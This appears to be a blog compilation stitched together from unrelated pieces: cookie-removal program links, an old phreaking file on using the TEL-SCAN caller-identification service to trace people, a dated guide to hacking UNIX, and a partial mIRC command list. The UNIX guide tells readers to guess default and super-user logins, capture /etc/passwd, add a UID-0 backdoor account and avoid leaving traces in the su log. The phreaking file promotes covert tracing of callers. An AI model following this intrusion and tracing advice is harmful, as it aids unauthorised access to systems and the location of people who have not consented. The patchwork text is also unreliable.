If all this sounds like too much hassle, you can always find a labour saving program which will be happy to take the job off your hands. These 'cookie crunching' programs allow you to be more selective when editing, viewing and deleting cookies from your system, and some of them will even prevent cookies from being created in the first place. Yes, I know you're hungry for links so I won't deprive you. Have a look here - Code:
hxxp://www.rbaworld.com/Programs/CookieCruncher/ Cookie
Cruncher
hxxp://www.thelimitsoft.com/ Cookie Crusher
hxxp://www.angove.com/ Cookie Killer
hxxp://www.kburra.com/ Cookie Pal
and
hxxp://www.cookiecentral.com/ Cookie Web Kit.
An Introduction into TeleScan
INTRODUCTION
Trick by infintytricks.blogspot.com
Whats all the hoopla? Well I've been trying to find a good ANI demo ever
since IIRG's went down at the first of the year [800-852-9932]. Well I
finally got one from The Mortician. Here it is...
8 0 0 . 7 7 5 . 5 5 1 3
This is an ANI demo provided by a security company called TEL-SCAN(tm). Now
ANI is cool and useful and everything, but it isn't hardly worthy of one of
my wonderful headers. But see, theres more at stake here. Call the demo and
get the ANI info and all that, and if you're a lamer stop there. But if
you're kK00l enough, stay on the line and find out more about TEL-SCAN(tm),
the company providing the demo.
THE TEL-SCAN(tm) NETWORK
TEL-SCAN(tm) is a Colorado based Security service that offers an improvised
skip-tracing method to Private Investigators, (or anyone with money and a
good MO). How it works is this: subscribers are provided with an 800
"Identifier Line" which when called automatically identifies the incoming
number and records it into a corresponding Voice Mail Box. The subscriber can
then call the Mail Box and it will relay to him all incoming calls to the
"Identifier Line". 2-o0 pH_ukYn " /<" eW/! The possibilities with ANI and VMBs at
hand are endless!!!
TEL-SCAN(tm) can be used as such: Get a bunch of business cards printed with
the "Identifier Line" printed as your phone number. If you're looking for
someone, leave your card around places where they're likely to get it. When
they call, you've got the number they're calling from and possibly an
important lead. Viola! Skip-Tracing improvised. No this of course is
constitutes intended use. As far as underground use goes...well...you know.
TEL-SCAN(tm) GEOGRAPHICALS
For more information on TEL-SCAN(tm) write or call::
TEL-SCAN(tm)
2641 North Taft
Loveland, CO 80538
Number: 303.663.1703
FAX: 303.663.1708
By the way when you call, you will be asked where you heard about TEL-
SCAN(tm). DO NOT say you heard it from me (duh)! Have a good one ready
because they will hang up on you if they think something is funny.
TEL-SCAN(tm) PRICES
This service has a one time activation fee of $67.00 dollars. Thereafter you
are charged $5.00 dollars everytime the service identifies a number for you.
You are billed monthly if applicable, but there are no mandatory monthly
fees. Now here's the good part: you can subscribe to the service via FAXed
licensing agreement at which time you will IMMEDIATLEY be issued a Mail Box
and a "Line Identifier". They will bill you later for the activation fee. Not
to shabby huh?
OUTRODUCTION
Well thats it, and thanks again to The Mortician at Lies, Hate, and Deception
(LHD·) for this one. Look for other oB files (with great headers) labeled as
xxxxxxxx.oB. These files can be found at...
An Indepth Guide in Hacking UNIX and the concept of Basic Net
Brief history on UNIX
----------------------
Trick by infintytricks.blogspot.com
Its because of Ken Tompson that today were able to Hack Unix.He used to work
for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was
later eliminated and Tompson was left without an operating system to work with.
Tompson had to come up with something real quick.He did some research and
and in 1969 UNIX came out,which was a single user and it didn't have
many capabilities.A combined effort with others he rewrote the version
in C and added some good features.This version was out in 1973 and was
available to the public.This was the first begining of UNIX as its known
presently.The more refined version of UNIX,today know as UNIX system V
developed by Berkley University has unique capabilities.
Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX,
IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+,
UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition.
The article it self:
--------------------
I believe that hacking into any system requires knowledge of the Operating
system itself.Basically what I will try to do is make you more familiar with
UNIX operation ,its usefull commands that will be advantageous to you as a
hacker.This article contains in depth explainations.
Error Messages that one may came across:[UNIX system V]
----------------------------------------
Login incorrect - An ivalid ID and/or pw was entered.This means nothing.
In UNIX there is no way guessing valid user IDs.You may
come across this one when trying to get in.
No more logins - will happens when the system wont accept anymore logins
could be going down
Unknown Id - will happen if an ivalid id is entered using (su) command
Unexpected eof in file - The file being stripped file has been damaged
Your password has expired - This is quiet rare although there have been cases
where it happened.Reading the etc/passwd will
show you at how many intervals it changes.
You may not change the password - The password has not yet aged enough.The
Administrator set the quotas for the users
Unknown group [groups name] - occurs when chgrp is executed ,group doesn't
exist
Sorry - Indicated that you have typed in an invalid super user password(execu-
tion of the su)
Permission denied!- Indicated you must be the owner or a super user to change
password.
Sorry <[# of weeks] since last change - This will happen when password has has not aged enough and you tried to change it(passwd) [directory name]:no permission - You are trying to remove a directory which you have no permission to. [file name] not removed - trying to delete a file owned by another user that you dont have write pemision for. [dirname] not removed - ownership of the dir is not your that your trying to delete. [dirname] not empty - the directory contains files so you must have to delete the files before executing the rmdir [command] not found - you have entered an ivalid command not know to UNIX cant execute pwd - some thing wrong with the system cant execute pwd command cannot chdir to .. - (.. one level up) permision is required to execute pwd above the current directory cant open [file name] - defined wrong path,file name or you have no read permission cp:[file name] and [file name] are identical - self explanatory cannot locate parent directory - occurs when using mv [file name] not found - file which your trying to move doesn't exsist You have mail - Self explanatory Basic Networking Utility error messages --------------------------------------- cu:not found - networking not installed login failed - invalid id/pw or wrong # specified dial failed - the systen never answered due to a wrong # uucp completely failed - did not specify file after -s wrong time to call - you called at the time at a time not specified in the Systems file system not in systems - you called a remote not in the systems file Logon format : first thing one must do is switch to lower case -------------- Identifing a UNIX.Here is what you'll see: Some times there will be no system identifer AT&T UNIX SysVR3.0 (eg of a system identifier) login: or Login: Any of these is a UNIX.Here is where you will have to guess at a user valid id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat, lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or special characters in it like bremer$,j#fox.Login names have to be 3 to 8 chracters in lenght lowercase and must start with a letter.In some XENIX systems one may login as "guest" User level accounts:(lower case) -------------------- In Unix they have whats called accounts .These accounts can be used at the "login:" prompt. Here is a list: sys bin trouble daemon uucp nuucp rje lp adm listen - if starlan is installed Super-user accounts: -------------------- And then there are super-user login which make UNIX worth hacking. The accounts are used for a specific job. In large systems these logins are assingned to users who have a responsibilty to maintain subsystems. They are as follows :(all lower case) root - this is a must the system comes configured with it.It has no restriction.Has power over every other account. unmountsys - unmounts files setup - system set up makefsys - makes a new file sysadm - allows useful S.A commands(doesn't need root login) powerdown - powering system down mountfsys - mounts files checkfsys - checks file These accounts will definitly have passwords assigned to them.These accounts are also commands used by the system administrator. Here are some examples of accounts I have seen: cron uuhelp usenet anonuccp news network bellboy lp vector guest games ninja vote warble sysinfo After the login prompt you will receive a password prompt: password: or Password: Enter the password (it wont echo).The password rule is as follows:Each pw has to contain at least 6 characters and maximum has to be 8 .Two of which are to be alphabetic letters and at least one being a number or a special character The alphabetic digits could be in upper case or lower case.Here are some of the passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co) The passwords for the super user accounts will be difficult to hack try the accounts interchangebly eg.login:sysadm password:makefsys or rje1, sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in them.It could be anything.The user passwords are changed by an aging proccess at successive intervals.The users are forced to changed it.The super-user will pick a password that wont need changing for a long period of time. You have made it! ----------------- The hard part is over and hopefully you have hacked a super-user account. Remember Control-d stops a process and also logs you off. The next thing you'll probably see is the system news eg. login:john password:hacker1 System news There will be no networking offered to the users till august 15,due to hardware problems. (just an example) $ $ is the Unix prompt -waiting for a command to be entered.I will use this throught the article to show outouts etc..(Its not part of the command) # - means your logged in as root(very good) A word about the XENIX System III:(run on the tandy 6000) --------------------------------- The largest weakness in the XENIX System III occurs after the installation of the Profile-16 or more commonly know as the filepro-16.I have seen the filepro-16 installed in many systems. The installation process creates an entry in the password file for a user named \fBprofile\fR ,an account that who owns and administors the database. The great thing about it is that when the account is created ,no password is assigned to it.The database contains executable to maintain it.The database creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR there by giving a person the whole C Shell to gain Super User privilege same as root. Intresting huh! * Note: First the article will inform you of how the Unix is made up The Unix is made if three components-The shell,the kernal,file system. The kernal: ----------- You could say that the kernal is the heart of the Unix operating system. The kernal is a low level language lower than the shell which maintains processes .The kernal handles memory usage ,maintains file system the sofware and hardware devices. The shell: ---------- The shell a higher level language. The shell had two important uses, to act as command interpreture for example using commands like cat,who, ls the the shell is at work figuring out whether you have entered a command correctly or not.The second most important reason for the shell is its ability to be used as programing language.Suppose your performing some tasks repeatedly over and over again,You can program the shell to do this for you. The file system: --------------- The file system in Unix is divede into 3 catagories:Directories,ordinary files and special files.(d,-) Basic stucture: (/)-this is abreviation for the root dirctory. root level root (/) system -------------------------------------|----------------------------------level | | | | | | | | /unix /etc /dev /tmp /lib /usr /usr2 /bin | _____|_____ login passwd | | | level /john /cathy ________________________|_______________ | | | | | | .profile /mail /pers /games /bin /michelle *.profile - in case | __|______ | __|_______ you wich to change your enviroment capital | | data | | but after you log off.It sets to othello starwars letter letter1 default. the /unix-is the kernal /etc - contains system administrators files,Most are not available to the regular user.(this directory contains the /passwd file) Here are some files under /etc directory: /etc/passwd /etc/utmp /etc/adm/sulog /etc/motd /etc/group /etc/conf /etc/profile /dev - contains files for physical devices such as printer and the disk drives /tmp - temporary file directory /lib - dirctory that contains programs for high level languages /usr - this directory contains dirctories for each user on the system Eg. of a list of files under /usr /usr/tmp /usr/lib /usr/docs /usr/news /usr/spool /usr/spool/lp /usr/lib/uucp /bin - contain executable programs (commands) The root also contains: /bck - used to mount a back up file system. /install - Used to install and remove utilities /lost+found - This is where all the removed files go,This dir is used by fsck (1M) /save -A utility used to save data /mnt - Used for temporary mounting **Now the fun part scouting around** Local commands (Explained in details) ------------------------------------- At the unix prompt type the pwd command-it will show you the current working directory you are in. $ pwd $ /usr/admin - assuming that you have hacked into a super user acc checkfsys $ This gives you the full login directory.The / before tell you the location of the root directory or (REFER TO THE DIAGRAM ABOVE) $ pwd $ /usr/john $ Assuming you have hacked into johns acc. Now lets say you wanted to move down to the michelle directory( you own this) that contains letters.You would type in $ cd michelle or cd usr/john/michelle $ pwd $ /usr/john/michelle $ Going back one directory up type in: $ cd .. or going to your parent directory just type in "cd" Listing file directories assuming you are in the parent directory: $ ls /usr/john mail pers games bin michelle This wont give you the .profile file .To view it type $ cd $ ls -a : : .profile To list file names in michelles directory type in: $ ls michelle (that if your in the johns directory) $ ls /usr/john/michelle(parent dir) ls -l ----- The ls -l is an an important command in unix.This command displays the whole directory in long format :Run this in parent directory $ ls -l total 60 -rwxr-x--- 5 john bluebox 10 april 9 7:04 mail drwx------ 7 john bluebox 30 april 2 4:09 pers : : : : : : : : : : : : : : -rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys : : : : : : : $ The total 60 tells one the ammount of disk space used in a directory.The -rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as follows: - is an ordinary file ,d is a directory,b is block file,c is a chracter file. The r stands for read permission,w is write permission,x is execute.The first colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---) after the "-" specifies the permission for the owner of the file,the second triple are for the groups (the fourth colum) and the last triple are the permissions for all other users.Therefore the -rwxr-x--- is read as follows. The owner john has permission to read,write and execute anything in the bin directory but the group has no write permission to it and the rest of the users have no permission at all.The format of one of the lines in the above output is as follows: file type-permissions,links,usersname,group,bytes taken,date,time when last renued,directory or file name. **You will be able to read,execute cathys file named party due to the same group*** chmod ----- The chmod command changes permission of a directory or a file.Format is chmod who+,-,=r,w,x The who is substituted by u-user,g-group,o-other users,a-all. The + means add permission,- means remove permission,= - assign. Example :If you wanted all other users to read the file name mail ,type: $ chmod o+r mail cat --- Now suppose you wanted to read the file letter .There are teo ways to doing this.First go to the michelle directory then type in: $ cat letter line one ...\ line two ... }the output of letter line three../ $ or If you are in the parent directory type in: $ cat /usr/john/michelle/letter and you will have the same output. Some cat options are -s,-u,-v,-e,-t Special Chracters in Unix: ------------------------- * - matches any number of single characters eg. ls john* will list all files that begin with john [...] - matchs any one of the chracter in the [ ] ? - matches any single chracter runs a process in the backgroung leaving your terminal free $ - Values used for variables also $n - null argument > - redirectes output
< - redirects input to come from a file >> - redirects command to be added to the end of a file
| - pipe output (eg:who|wc-l tells us how many users are online)
"..." - Turn of meaning of special chracters excluding $,`
`...` - allows command output in to be used in a command line
'...' - turns of special meaning of all chracters
continuation of local commands...[ ] -contains the options used
-------------------------------
passwd
------
Password changing seems to be a big thing among the savants.Anyway to change
the password one would use the 'passwd' command as shown below:
$passwd
Changing password for john
Old password:
New password:
Retype new password:
$
This will only work when the password has aged enough
ps
--
Its sometimes necessary to see what command procesess you are running,this
command lets you see that.
ps [-a all processes except group leaders] [-e all processes] [-f the whole
list]
$ps
PID TTY TIME COMMAND
200 tty09 14:20 ps
The systems reports (PID - process idenetification number which is a #
from 1-30,000 assigned to UNIX processes)
It also reports the TTY,TIME and the COMMAND being executed at the time.
To stop a process enter :
$kill [PID] (this case its 200)
200 terminated
$
grep
----
This comand is important when seaching for a word or words in large files.
grep [argument] [file name] - searchs for an file that contains the argument
for example:
$ grep phone cathy
phone michelle (718)5551234
phone cindy (718)5553456
What this did was to find the argument 'phone' in the file cathy.If the
argument consists of two or more words then it must be enclosed in single
quotes.
mv
--
mv [file names(s)] [ dir name ] - renames a file or moves it to another
directory eg.
$mv letter letters
$
This renames the file letter to letters thereby deleting letter
or if you want to move files then
$mv /usr/john/pers/capital /usr/john/michelle/capital
$
This moves the file capital to the directory named michelle
diff
----
diff [file name] [ file name] - show diffrence between two files.Output of this
will have something like 4,5c4,5 then the it
will display both sets of files on the screen
The 4,5c4,5 means that you must change "c"
lines 4 to 5 in one file to line 4 to 5 in
another.
Option for using this command are :
-b - it ignores blank spaces
-h - compares it quickly
-s - reports files that are the same
-S[file] - this is when you want to compare a directory starting at a
specific file
There is also a command to compare 3 files which is :
diff3 [options] [file1] [file2] [file3]
cp
--
cp [file name] [file name] - makes a copy of a file
$ cp letter letters
$
The file letters is a dupilcate copy of letter.In this case the original
is not erased like in the mv command
.... more UNIX commands:
--------------------
man [command] or [c/r] -will give you a list of commands explainations
help - available on some UNIX systems
mkdir [dir name(s)] - makes a directory
rmdir [dir name(s)] - removes directory.You wont be able to remove the
directory if it contains files in them
rm [file name(s)] - removes files. rm * will erase all files in the current
dir.Be carefull you!!.Some options are :
[-f unconditional removal] [-i Prompts user for y or n]
write [login name ] - to write to other logged in users.Sort of a chat
mesg [-n] [-y] - doesn't allow others to send you messages using the write
command.Wall used by system adm overrides it.
$ [file name] - to execute any file
wc [file name] - Counts words,chracters,lines in a file
stty [modes] - Set terminal I/O for the current devices
sort [filename] - Sorts and merges files many options
spell [file name] > [file name] - The second file is where the misspelt words
are entered
date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options
at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes
all previously scheduled jobs.The -l reports the job #
and status of all jobs scheduled
write [login] [tty] - Sends message to the login name.Chat!
su [login name]
---------------
The su command allows one to switch user to a super user to a user.Very
important could be used to switch to super user accounts.
Usage:
$ su sysadm
password:
This su command will be monitored in /usr/adm/sulog and this file of all files
is carefully monitered by the system administrator.Suppose you hacked in johns
account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog
entry would look like:
SU 04/19/88 21:00 + tty 12 john-sysadm
Therfore the S.A(system administrator) would know that john swithed to sysadm
account on 4/19/88 at 21:00 hours
Searching for valid login names:
-------------------------------
Type in-
$ who ( command informs the user of other users on the system)
cathy tty1 april 19 2:30
john tty2 april 19 2:19
dipal tty3 april 19 2:31
:
:
tty is the users terminal,date,time each logged on.dipal,john are valid
logins.
Files worth concatenating(cat)
/etc/passwd file:
-----------------
The etc/passwd is a vital file to cat.For it contains login names of all
users including super user accounts and there passwords.In the newer
SVR3 releases they are tighting their security by moving the encrypted
passwords from /etc/passwd to /etc/shadow making it only readable by root.
This is optional offcourse.
$ cat /etc/passwd
root:D943/sys34:0:1:0000:/:
sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh
checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh
:
other super user accs.
:
john:chips11:34:3:john scezerend:/usr/john:
:
other users
:
$
If you have reached this far capture this file as soon as posible.
This is a typical output etc/passwd file.The entries are seperated
by a ":".There made be up to 7 fields in each line.
Eg.sysadm account.
The first is the login name in this case sysadm.The second field contains the
password.The third field contains the user id."0 is the root".Then comes the
group id then the account which contains the user full name etc .The sixth
field is the login directory defines the full path name of the the particlar
account and the last is the program to be executed.
Now one can switch to other super user account using su command descibed above.
The password entry in the field of the checkfsys account in the above example
is "Locked;". This doesn't mean thats its a password but the account
checkfsys cannot be accessed remotely.The ";" acts as an unused encryption
chracter.A space is also used for the same purpose.You will find this in many
UNIX systems that are small systems where the system administrator handles
all maintaince.
Password aging:
---------------
If password aging is active the user is forced to change the password at
regular intervals.One may be able to tell just by looking at the /etc/passwd
file when the password is allowed to be changed and when it is compulsory to
change it.
For example the entry:
john:chips11,43:34:3:John Scezerend:/usr/john:
The password contains an extension of (,43) which mean that john can change has
to change the password atleast evert 6 weeks and can keep it for atleast 3
week.The format used is [password],Mmww.The M is the maxiumum number of weeks
password has to be change and m is the minimum interval password can be changed
and the ww is indicates when the password was last changed.
Aging chart:
---------|-----------
Character|# of weeks
. | 0
/ | 1
0-9 | 2-11
A-Z | 12-37
a-z | 38-63
---------|-----------
From the above anyone can determine the number of weeks one can chnage the
password.
The (ww) is automatically added as to when the password was last changed .
IF SHAWDOWING IS ACTIVE:
------------------------
If the shawdowing is active the /etc/passwd would look like this:
root:x:0:1:0000:/:
sysadm:x:0:0:administration:/usr/admin:/bin/rsh
The password filed is substituted by "x".
The /etc/shawdow file only readable by root will look similar to
this:
root:D943/sys34:5288::
:
super user accounts
:
Cathy:masai1:5055:7:120
:
all other users
:
The first field contains users id:the second contains the password(The pw will
be NONE if logining in remotely is deactivated):the third contains a code of
when the password was last changed:the fourth and the fifth contains the
minimum and the maximum numbers of days for pw changes(Its rare that you will
find this in the super user logins due to there hard to guess passwords)
/etc/options directory
-----------------------
The etc/options dir will consists of utilities available in the system.
Example:
-rwxr-xr-x 1 root sys 40 april 1:00 uucp.name
uucp standing for BNU
/etc/group
-----------
The file has each group on the system.Each line will have 4 entries separated
by a ":" . Example of concatenated /etc/group:
root::0:root
adm::2:adm,root
bluebox::70:
Group name:password:group id:login names
** It very unlikely that groups will have passwords assigned to them **
The id "0" is assigned to /
Sending and recieving messages:
-------------------------------
Two programs are used to manage this.They are mail & mailx.The difference
between them is that mailx is more fancier thereby giving you many choices
like replying message ,using editors etc.
Sending:
--------
The basic format for using this command is:
$mail [login(s)]
(now one would enter the text
after finishing enter "." a period
on the next blank line)
$
This command is also used to send mail to remote systems.Suppose you wanted
to send mail to john on a remote called ATT01
you would type in:
$mail ATT01!john
Mail can be sent to several users,just by entering more login name after
issuing the mail command
Using mailx is the same format:(This I'll describe very briefly)
$mailx john
subject:(this lets you enter the subject)
(line #1)
(line #2)
(After you finish enter (~.) not the brackets offcourse ,more commands are
available like ~p,~r,~v,~m,~h,~b etc.)
Receiving:
----------
After you log on to the system you will the account may have mail waiting.
You will be notified "you have mail".
To read this enter:
$mail
(line #1)
(line #2)
(line #3)
?
$
After the message you will be prompted with a question mark.Here you have a
choice to delete it by entering d,saving it to view it later s,or just press
enter to view the next message.
(DONT BE A SAVANT AND DELETE THE POOR GUYS MAIL)
Super user commands:
--------------------
$sysadm adduser - will take you through a routine to add a user
(may not last long)
Enter this:
$ sysadm adduser
password:
(this is what you will see)
/--------------------------------------------------------------------------\
Process running succommmand `adduser`
USER MANAGMENT
Anytime you want to quit, type "q".
If you are not sure how to answer any prompt, type "?" for help
If a default appears in the question,press
Enter users full name [?,q]: (enter the name you want)
Enter users login ID [?,q]:(the id you want to use)
Enter users ID number (default 50000) [?,q) [?,q]:( press return )
Enter group ID number or group name:(any name from /etc/group)
Enter users login home directory:(enter /usr/name)
This is the information for the new login:
Users name: (name)
login ID:(id)
users ID:50000
group ID or name:
home directory:/usr/name
Do you want to install,edit,skip [i,e,s,q]? (enter your choice if "i" then)
Login installed
Do you want to give the user a password?[y,n] (its better to enter one)
New password:
Re-enter password:
Do you want to add another login?
\----------------------------------------------------------------------------/
This is the proccess to add a user.Since you hacked into a super user account
you can make a super user account by doing the following by entering 0 as an
user and a group ID and enter the home directory as /usr/admin.This will give
you as much access as the account sysadm
**Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is
a total give away.
The process of adding a user wont last very long the S.A will know when he
checks out the /etc/passwd file
$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!!
Password:
This is what you'll see:
/----------------------------------------------------------------------------\
MODIFYING USER'S LOGIN
1)chgloginid (This is to change the login ID)
2)chgpassword (Changing password)
3)chgshell (Changing directory DEFAULT = /bin/sh)
ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR
Q TO QUIT ?
\----------------------------------------------------------------------------/
Try every one of them out.Do not change someones password.It creates a havoc.
If you do decide to change it.Please write the original one down somewhere
and change back.Try not to leave to many traces after you had your fun.
In choice number 1 you will be asked for the login and then the new one.
In choice number 2 you will asked for the login and then supplied by it correct
password and enter a new one.
In choice 3 this is used to a pchange the login shell ** Use full **
The above utilites can be used separatly for eg( To change a password one
coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same)
$sysadm deluser - This is an obviously to delete a user
password:
This will be the screen output:
/---------------------------------------------------------------------------\
Running subcommand 'deluser' from menu 'usermgmt'
USER MANAGEMENT
This fuction completely removes the user,their mail file,home directory
and all files below their home directory from the machine.
Enter login ID you wish to remove[q]: (eg.cathy)
'cathy' belongs to 'Cathy Franklin'
whose home directory is /usr/cathy
Do you want to remove this login ID 'cathy' ? [y,n,?,q] :
/usr/cathy and all files under it have been deleted.
Enter login ID you wish to remove [q]:
\--------------------------------------------------------------------------/
This command deletes everthing owned by the user.Dont use it even if you have
access to it.
other super user commands:
--------------------------
wall [text] control-d - to send an anouncement to users logged in(will
override mesg -n command).Execute only from /
/etc/newgrp - is used to become a member of a group
sysadm [program name]
delgroup - delets groups
whoson - self explanatory
lsgroup - Lists group
mklineset -hunts various sequences
lsuser -lists all the users & their logins names
Other commands may require file system to be mounted.
Basic Networking utility(BNU)
-----------------------------
The BNU is a unique feature in UNIX.Some systems may not have this installed.
What BNU does is allow other remote UNIXes communicate with yours without
logging off the present one.BNU also allowes file transfer between computers.
Most UNIX systems V will have this feature installed.
The user program like cu,uux etc are located in the /usr/bin directory
Basic Networking Files:
-----------------------
/usr/lib/uucp/[file name]
[file name]
systems - cu command to establishes link.Contains info on remote computers
name,time it can be reached,login Id,password,telephone numbers
devices - inter connected with systems files(Automatic call unit same in two
entries)also cantains baud rate,port tty1 etc.
dialers - where asscii converation must be made before file tranfers etc.
dialcodes - contains abreiviations for phone numbers that can be used in
systems file
other files are sysfiles,permissions,poll,devconfig
B.N.U Aministrative files:
--------------------------
There are 5 admnistrative files present.These are files are created in the
/usr/spool directory .These A.Files are responsible for various BNU procceses
like kepping records data ,files tranfers bettwenn remote and local and also
usefull to lock devices.
TM - This file used to hold temporary data .When tranfering the files from a
remote to local the /usr/spool/uucp/[name of the remote computer ] creates
this in the format of as of below:
TM[Process Identification Number].[ddd]
The ddd is the a 3 digit number (sequential) starting with "0"
Here a typical eg: TM322.012
Then this file is moved into the path defined by the C.sysnxxx file
X.[Execute files] - Created in the /usr/spool before you execute the commands
in remote.
The format used to name this file is X.sysnxxx
where sys stand for the remote name and n is the priority
level the xxxx is a sequence assingned by the uucp.These
files always contain the Name of the file ,Comuter & file
name to recieve,Persons login & computer name and the
command string.
LCK - The lock file created in the /usr/spool/locks directory.The is used when
devices are being used.Prevent usage of the same calling device.
Format used: LCK.str wher the str is a device name.The Lock file contains
the PID needed to lock
C.sysnxxx - created in the usr/spool directory.These are the work files.Used
when work is in line,remote execeutions.Format is same as the
X.sysnxxxx.The works files contain the full path name of the file
to be sent,path name of the destination (TM Transfers),Remote login
name to be notified after the file transmision is complete,Users
login name and the name of the programs used eg.uucp,uupick etc.
D - The data files.Format used is D.systmxxxxyyy.These files are created when
specified in a command to copy to the spool directory.Eg. By the usage of
uucp -C this will be true.
The systm is the remote name,xxxx is the the 4 digits seq assingned by
the uucp.The yyy is a sub sequence number.
Logining on to remote and sending+receiving files
-------------------------------------------------
cu - This command allows one to log on to the local as well as the remote
Unix (or a non unix)without haveing to hang up so you can transfer files.
Usage:[options]
$ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line]
telephone number | systemname
To view system names that you can communicate with use the 'unname' command:
Eg. of output of names:
ATT01
ATT02
ATT03
ATT04
$ cu -s300 3=9872344 (9872344 is the tel#)
connected
login:
password:
local strings:
--------------
<~.> - will log you off the remote terminal but not the local
~! - out you on the local withiout disconnecting the line from remote
~%take [file name] - takes a copy of the file name and copies it to the
local(the directory which you are in)
"%put [file name] - reverse of above
~$[command] - allows the execution of a command to the local from remote
ct
--
ct allows local to connect to remote.Initiates a getty on a remote terminal.
Usefull when using a remote terminal.BNU has call back feature that allows
the user on the remote who can execute a call back meaning the local can call
the remote.[ ] are options
$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back
abbrieviated t mins] telephone number
uux
---
To execute commands on a remote (unix to unix)
usage:[ ] are options
$ uux [- use standard output][-n prevent mail notification][-p also use
standard output] command-string
uucp
----
uucp copies files from ones computer to the home directory
of a user in remote system.This also works when copying files from one
directory to another in the remote.The remote user will be notified by mail.
This command becomes use full when copying files from a remote to your local
system.
The uucp requires the uucico daemon will call up the remote and will perform
file login sequence,file transfer and notify the user by mail.
Daemons are programs runining in the background.The 3 daemons in a Unix are
uucico,uusched,uuxqt.
Daemons Explained:[nows a good time to explain the 3 daemons]
------------------
uuxqt - Remote execution.This daemon is executed by uudemon.hour started by
cron.UUXQT searchs in the spool directory for executable file
named X.file sent from the remote system.When it finds a file X.file
where it obtains process which are to be executed.The next step is
to find weather the processes are available at the time.The if
available it checks permission and if everthing is o.k it proceeds
the background proccess.
uucico - This Daemon is very immportant for it is responsible in establishing
a connection to the remote also checks permission,performs login
procedures,transfers + executes files and also notifies the user
by mail.This daemon is called upon by uucp,uuto,uux commands.
uusched - This is executed by the shell script called uudemon.hour
This daemons acts as a randomizer before the UUCICO daemon is
called.
Usage of uucp command:
$ uucp [options] [first full path name!] file [destination path!] file
example:
$ uucp -m -s bbss hackers unix2!/usr/todd/hackers
What this would do is send the file hackers from your computer to the remotes
/usr/todd/hackers making hackers offcourse as file.todd would mail that
a file has been sent to him.The unix2 is the name of the remote.
Options for uucp:(Dont forget to type in remotes name unix2 in case)
-c dont copy files to spool directory
-C copy to spool
-s[file name] - this file will contain the file status(above is bbss)
-r Dont start the comm program(uucico) yet
-j print job number(for above eg.unix2e9o3)
-m send mail when file file is complete
Now suppose you wanted to receive file called kenya which is in the usr/dan/usa
to your home directory /usr/john assuming that the local systems name is
ATT01 and you are currently working in /usr/dan/usa,you would type in:
$uucp kenya ATT01!/usr/john/kenya
uuto
----
The uuto command allows one to send file to remote user and can also be used
to send files locally.
Usage:
$ uuto [file name] [system!login name]( omit systen name if local)
Conclusion:
-----------
Theres always more one can say about the UNIX but its time to stop.
I hope you have enjoyed the article.I apologize for the lenght. I hope I
made the UNIX operating system more familiar.
Remember do not abuse any systems you hack into for a true hacker doesn't like
to reck but to learn.
I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5]
Watch for my new article on using PANAMAC airline computers coming soon.
Red Knight
P/HUN!
<
Leached off SSC (713) 497-2312
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All mIRC Commands
All mIRC Commands
Trick by infintytricks.blogspot.com
/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
